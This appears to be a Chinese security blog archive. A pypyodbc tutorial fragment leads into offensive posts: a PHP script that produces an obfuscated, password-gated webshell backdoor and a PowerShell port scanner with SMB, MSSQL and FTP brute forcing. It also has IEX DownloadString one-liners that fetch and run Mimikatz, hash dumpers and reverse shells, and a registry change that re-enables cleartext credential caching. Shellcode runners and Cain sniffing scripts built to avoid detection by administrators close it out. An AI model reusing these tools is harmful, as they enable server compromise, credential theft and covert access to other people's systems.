It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:工作日志,PHP,运维工作,linux,windows,转帖文章 // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

powershell学习笔记

发布时间:June 16, 2015 // 分类:工作日志,运维工作,代码学习,转帖文章,windows // No Comments

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后,powershell已被集成在系统当中

============================================

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些,来一个脑图:

另外需要说明的是如何加载ps脚本的问题:

方法1:powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

================================

 

3.实例代码

学了不用等于白学,招了一个github 源码[https://github.com/samratashok/nishang/tree/master/Scan],

抄抄改改,写出一个端口扫描,并且支持ftp,smb和mssql爆破ps1脚本

代码:


function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
        
        [string]
        $file,
        
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
    
    #init Brute force SQL Server function
    $Connection = New-Object System.Data.SQLClient.SQLConnection

        
        
    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
        foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
            
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
            
            $openport=@()
            
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
    
                    if($client.Connected) {                     
                        $openport += $port
                
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                    
                    $client.Close()
                
                }
                
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
            
            }
            }
        }
        }
    }
    
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                    Try
                    {
                        $Connection.Open()
                        $success = $true
                    }
                    Catch
                    {
                        $success = $false
                        Write-host "login mssql to $ip with $username : $password fail "
                    }
                    if($success -eq $true) 
                    {
                            Write-host "login mssql to $ip with $username : $Password  is successful" -ForegroundColor green
                            "login mssql to $ip with $username : $Password  is successful"| out-file -Append -filepath $file
                            Break
                    } 
                }
                
            }
            
            
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
    
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]
                        $password=$j.Split(":")[1]                
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green
                        "login ftp to $ip with $username : $password  is successful"| out-file -Append -filepath $file
                        break
                    }
                    Catch {
                    Write-host "login ftp to $ip with $username : $password fail "
                    }
                }
                

            }
            
            

        }
    }
    
    Write-host "put all into $file" -ForegroundColor red
    
    }
    
    
    
    
    End {
    }
}

效果:

bug:

1.代码是单线程的速度一定慢,不知道powershell要怎么去分配线程池

2.smb直接使用了wmic命令,当密码不对时候会显示一个错误,不知道如何去屏蔽不显示

代码没有没有进行服务指纹识别什么的,还是非常粗糙的

 

================================

4.一些很屌的powershell工具

4.1.获取hash

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

4.2.获取明文---Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 

4.3 nc---powercat

 

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

4.4----各种反弹shell

http:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

tcp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

udp:

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

icmp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

 

来源:

https://github.com/samratashok/nishang

================================

 

5.结尾

资料来源:

https://github.com/samratashok/nishang/

http://x0day.me/

http://zone.wooyun.org/content/20429

Dumping WDigest Creds with Meterpreter Mimikatz/Kiwi in Windows 8.1

发布时间:June 11, 2015 // 分类:转帖文章,windows // No Comments

Many of us in the penetration testing world have come to love Benjamin Delpy’s (blog.gentilkiwi.com) mimikatz/kiwi modules which were ported to Metasploit by OJ Reeves and incorporated into the meterpreter shell. Among other capabilities, one of the most impactful features of these modules was the ability to extract a Windows user’s clear text password from the WDigest provider.

When Microsoft released Windows 8.1, they added some security features that effectively removed the ability of tools like mimikatz or WCE to dump clear text credentials from LSA memory.

Microsoft then backported those fixes in a security update (http://support.microsoft.com/kb/2871997) for Windows systems prior to 8.1. However, because WDigest is used by many products (e.g. IIS), Microsoft left the Wdigest provider enabled which is why our mimikatz/kiwi module can still obtain clear text passwords prior to Windows 8.1

Windows 8.1 introduced a registry setting that allows for disabling the storage of the user’s logon credential in clear text for the WDigest provider.

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)

Although the entry does not appear in the Windows 8.1 registry, the default setting for this DWORD value in 8.1 is “0” meaning that 8.1 does not store logon credentials in clear text in LSA memory for this SSP.

KB2871997 backported this registry setting to earlier Windows versions. When you install the hotfix, the registry setting will also not appear in earlier versions. These versions < 8.1 will default to “1” for the “UseLogonCredential” DWORD value.

So what happens on a Windows 8.1 system when we try to obtain the clear text password via a meterpreter shell using the mimikatz or kiwi modules?

The kiwi module is unable to obtain the clear text passwords from LSA memory.

But since we have administrative access, let’s change the registry setting by explicitly setting it to 1 in a Windows shell.

(reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1)

We refresh the regedit window to see the new value of “1” for UseLogonCredential.

Now, all we have to do is try to force, or wait for the user to either lock their screen or log off and then subsequently unlock their screen or log back in.

With the update to the registry, we should now be able to grab the clear text password from LSA memory.

Back in our meterpreter shell, we attempt the creds_wdigest again (might have to get a new meterpreter shell if the user logged off and back on).

References:

http://blog.gentilkiwi.com
http://blogs.technet.com/b/kfalde/archive/2014/11/01/kb2871997-and-wdigest-part-1.aspx

 

咱们来说人话。修改注册表 ,将 HKLM_LOCAL_MACHEINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"(需要添加该 项目)设置为1,类型为DWORD 32  就可以了,然后等管理员在线或者还没注销的时候,就可以用mimi抓取明文了。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

PentestBox:一个基于Windows系统的渗透测试平台

发布时间:June 7, 2015 // 分类:工作日志,windows,转帖文章 // No Comments

Welcome to PentestBox Tools List Website!
Here you will find list of the tools which are inside PentestBox and how to use them. 
You can see list of tools of particular category using the left sidebar.

Suppose you want to use SQLMap, you can find it's description below in Web Application Scanner Section and you will find something like given below

  cmd.exe

C:\Users\Aditya Agrawal\Desktop

$sqlmap

The console above with sqlmap in it tells that if you need to use SQLmap then sqlmap is the alias for it. If you are not aware with the tool and it's functions then type like sqlmap -h on console, it will display all possible functions of that tool , sqlmap in our case.

 

To keep everything in short, below are only aliases of the respective tool. 
I Hope you will Enjoy using PentestBox :)

Web Vulnerability Scanners

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: PortsWigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Commix - Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. 
    Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $commix

  • fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection. It's currently under heavy development but it's usable. 
    Author: Iman Karim 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $fimap

  • Grabber - Grabber is a web application scanner. Basically it detects some kind of vulnerabilities in your website. Grabber is simple, not fast but portable and really adaptable. This software is designed to scan small websites such as personals, forums etc. absolutely not big application: it would take too long time and flood your network. 
    Author: Romain Gaucher 
    License: BSD
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $grabber

  • Golismero - GoLismero is an open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans.
    License: GPLv2 
    Author: Daniel García , Mario Vilas, Raúl Requero 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $golismero

      cmd.exe

    C:\PentestBox\bin\WebApplications\golismero (master)

    $golismero.bat scan pentestbox.com

  • IronWasp - Find security issues on your website automatically using IronWASP, one of the world's best web security scanners. Here are some reasons why IronWASP is great:
    • It's Free and Open source
    • GUI based and very easy to use, no security expertise required
    • Powerful and effective scanning engine
    • Supports recording Login sequence
    • Checks for over 25 different kinds of well known web vulnerabilities
    • False Negatives detection suppport
    • Industry leading built-in scripting engine that supports Python and Ruby

    Author: Lavakumar Kuppan
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $ironwasp

  • jSQL - jSQL Injection is a lightweight application used to find database information from a distant server. jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris). 
    Author: ron190 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $jSQL

  • Nikto - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. 
    Author: Cirt.net 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $nikto

  • PadBuster - Automated script for performing Padding Oracle attacks. 
    Author: Brian Holyfield, Gotham Digital Science 
    License: Reciprocal Public License 1.5
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $padbuster

  • SqlMap - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. 
    Author: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $sqlmap

  • Vega - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. 
    Author: Subgraph 
    License: Eclipse Public License 1.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $vega

  • Wpscan - WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. 
    Author: The WPScan Team 
    License: WPScan Public Source License
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $wpscan

  • OWASP Xenotix XSS Exploit FrameWork - OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. Xenotix provides Zero False Positive XSS Detection by performing the Scan within the browser engines where in real world, payloads get reflected. Xenotix Scanner Module is incorporated with 3 intelligent fuzzers to reduce the scan time and produce better results. If you really don't like the tool logic, then leverage the power of Xenotix API to make the tool work like you wanted it to be. It is claimed to have the world’s 2nd largest XSS Payloads of about 4800+ distinctive XSS Payloads. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes real world offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. Say no to alert pop-ups in PoC. Pen testers can now create appealing Proof of Concepts within few clicks. 
    Author: Ajin Abraham 
    License: Creative Commons Attribution-ShareAlike 3.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $xenotix

  • Yasuo - Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on. 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $yasuo

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Applications Proxies

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Crawlers

  • Dir Buster - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. 
    Author: OWASP.org 
    License: Apache 2.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $dirbuster

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

关于文字会重叠的问题。提供方式

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

嗅探的一些记录

发布时间:June 3, 2015 // 分类:转帖文章,windows // No Comments

解决cain 嗅探导致卡死

嗅探的时候服务器卡死 然后登录都无法登陆 想必大家经常遇到
这个问题很多人都在交流 网上流传的脚本思路是 
先设置 cain 重启后接着嗅探
如果 访问某个ip 超时 就重启
重启动静太大了,结束进程 方式比较合理
写了个批处理 
遇到网络卡了 自动退出 
网络状态好了 再自动开启

欢迎修改 以及更好的建议

@echo off
:top
ping -n 1 -l 1 61.135.169.105
IF ERRORLEVEL 1 GOTO kill
IF ERRORLEVEL 0 GOTO start

:start
TaskList|Findstr /i "cain.exe"
If ErrorLevel 1 (
start cain.exe
)
goto top

:kill
TaskList|Findstr /i "cain.exe"
If ErrorLevel 0 (
taskkill /f -im cain.exe
ping 127.0.1 -n 10 -l 1
 )
goto top

大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
 

ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144


上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。

再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
 

on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo “use:// cscript.exe FS.vbs port”
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject(”WScript.Shell”)
Set oExec = oShell.Exec(”netstat -an”)
Set oRegExp = new RegExp
oRegExp.Pattern = “TCP[\s]+[\d\.]+:”&Tport&”[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED”
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run “logoff”
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
